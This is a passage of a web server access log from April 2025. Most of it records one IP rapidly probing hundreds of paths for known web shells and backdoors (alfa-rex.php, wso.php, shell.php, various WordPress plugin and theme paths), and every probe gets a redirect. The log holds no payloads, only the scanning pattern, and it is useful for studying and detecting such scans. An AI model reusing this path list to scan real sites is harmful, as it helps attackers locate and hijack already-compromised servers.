"Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.186.163 - - [11/Apr/2025:08:48:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.186.163 - - [11/Apr/2025:08:48:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 45.128.199.17 - - [11/Apr/2025:09:02:29 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 52.168.146.136 - - [11/Apr/2025:09:06:33 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:33 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:34 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:34 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:34 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:34 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:35 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:35 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:35 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:35 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:36 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:36 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:36 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:37 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:37 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:37 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:38 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:38 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:38 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:39 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:39 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:40 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:40 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:40 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:41 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:41 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:41 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:41 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:42 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:42 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:42 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:43 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:43 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:44 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:44 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:44 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:44 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:45 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:45 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:45 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:45 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:46 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:46 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:46 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:46 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:46 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:47 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:47 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:47 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:47 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:47 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:48 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:48 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:48 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:49 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:49 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:50 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:50 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:50 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:51 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:51 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:51 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:52 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:52 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:52 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:52 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:52 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:53 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:53 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:53 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:53 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:53 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:53 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:54 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:54 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:54 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:54 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:54 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:55 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:55 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:55 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:55 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:55 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:56 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:56 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:56 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:56 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:56 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:57 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:57 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:57 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:57 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:57 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:58 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:58 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:58 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:58 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:59 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:59 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:59 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:59 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:06:59 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:00 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:00 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:01 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:01 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:01 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:01 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:01 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:02 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:02 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:02 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:02 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:02 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:03 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:03 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:03 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:04 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:04 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:04 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:04 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:05 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:05 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:05 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:05 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:05 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:06 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:06 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:06 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:06 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:07 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:07 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:07 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:07 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:07 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:08 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:08 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:08 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:09 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:09 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:09 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:09 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:09 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:10 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:10 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:11 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:11 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:11 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:12 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:12 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:12 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:13 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:13 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:13 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:13 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:14 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:14 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:14 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:14 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:15 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:15 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:15 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:16 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:16 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:16 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:17 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:17 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:17 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:17 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:17 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:18 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:18 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:18 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:18 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:19 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:19 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:19 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:19 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:20 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:20 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:20 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:21 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:21 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:21 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:21 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:22 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:22 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:22 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:22 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:22 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:23 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:23 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:23 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:23 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:24 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:24 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:24 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:24 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:25 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:25 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:26 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:26 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:26 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:26 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:26 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:27 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.168.146.136 - - [11/Apr/2025:09:07:27 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 111.68.8.170 - - [11/Apr/2025:09:10:58 -0400] "GET /static/images/nopic.png HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 103.194.187.90 - - [11/Apr/2025:09:33:34 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 119.42.147.210 - - [11/Apr/2025:09:46:19 -0400] "GET /tools/upload_ajax.ashx?action=uploadimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 43.133.91.48 - - [11/Apr/2025:09:52:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.122.147.229 - - [11/Apr/2025:09:59:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/125.0.6422.60 Safari/537.36" 64.225.5.39 - - [11/Apr/2025:10:04:00 -0400] "GET / HTTP/1.1" 301 795 